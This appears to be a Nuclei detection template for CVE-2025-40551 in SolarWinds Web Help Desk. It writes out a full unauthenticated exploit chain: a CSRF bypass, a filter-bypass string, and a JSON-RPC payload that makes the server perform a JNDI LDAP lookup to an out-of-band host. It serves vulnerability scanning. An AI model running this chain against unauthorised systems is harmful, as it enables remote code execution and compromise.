id: CVE-2025-40551

info:
  name: SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE
  author: Horizon3.ai
  severity: critical
  description: |
    SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass (CVE-2025-40536), remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to achieve remote code execution. The bypass involves including "/ajax/" in a query parameter to circumvent URI validation, while switching from "/ajax/" to "/wo/" endpoints bypasses payload sanitization routines.
  impact: |
    Remote attackers can execute arbitrary code on the host machine without authentication, potentially leading to full system compromise.
  remediation: |
    Update SolarWinds Web Help Desk to version 2026.1 or later.
  reference:
    - https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/
    - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551
    - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40551
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-40551
    cwe-id: CWE-502
    epss-score: 0.8413
    epss-percentile: 0.99661
  metadata:
    verified: true
    max-request: 6
    vendor: solarwinds
    product: web_help_desk
    shodan-query: http.favicon.hash:1895809524
  tags: cve,cve2025,solarwinds,webhelpdesk,deserialization,rce,jndi,oast,kev,vkev

flow: |
  http("initial_session") &&
  http("login_pref_page") &&
  http("trigger_saml_object") &&
  http("create_jsonrpc_bridge") &&
  http("create_malicious_object") &&
  http("trigger_jndi_lookup")

http:
  - id: initial_session
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa"
    headers:
      x-webobjects-recording: 1

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(tolower(all_headers), "x-webobjects-session-id")
          - contains(tolower(all_headers), "xsrf-token")
          - contains(toupper(all_headers), "JSESSIONID")
        internal: true
        condition: and

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: wosid
        part: header
        regex:
          - "[xX]-[W]ebobjects-[sS]ession-[iI]d: ([a-zA-Z0-9]{22})"
        group: 1
        internal: true

      - type: regex
        name: xsrf_token
        part: header
        group: 1
        regex:
          - "Set-Cookie: XSRF-TOKEN=([a-z0-9-]{36});"
        internal: true

  - id: login_pref_page
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - externalAuthContainer
          - SAML 2.0
        internal: true
        condition: and

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: externalAuthContainer
        part: body
        group: 1
        regex:
          - 'id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk.woa/ajax/[0-9]+\.[0-9]+)'
        internal: true

  - id: trigger_saml_object
    method: POST
    path:
      - "{{BaseURL}}/{{externalAuthContainer}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
    body: 0.7.1.3.1.0.0.0.1.1.0=1&_csrf={{xsrf_token}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: create_jsonrpc_bridge
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - JSONRpcClient
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: jsonrpc_endpoint
        part: body
        group: 1
        regex:
          - "JSONRpcClient\\('/helpdesk/WebObjects/Helpdesk.woa/ajax/([0-9.]+)'\\);"
        internal: true

  - id: create_malicious_object
    method: POST
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
      Content-Type: application/json
    body: |
      {
        "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
        "id":1,
        "method":"wopage.setVariableValueForName",
        "params":[
          "malicious",
          {
            "javaClass":"org.apache.xalan.lib.sql.JNDIConnectionPool",
            "jndiPath":"ldap://{{interactsh-url}}/ou=ou,o=o"
          }
        ]
      }

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: trigger_jndi_lookup
    method: POST
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
      Content-Type: application/json
    body: |
      {
        "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
        "id":1,
        "method":"wopage.variableValueForName",
        "params":["malicious"]
      }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022006ba1c72a87903c2ef2ff5a268ff4c4d1706d06adf97614643628f290acc4853022100b3ffd896fd87cf21fadb35cc2face8d04cc458cde2f4b71073395d9ab0305b5f:922c64590222798bb761d5b6d8e72950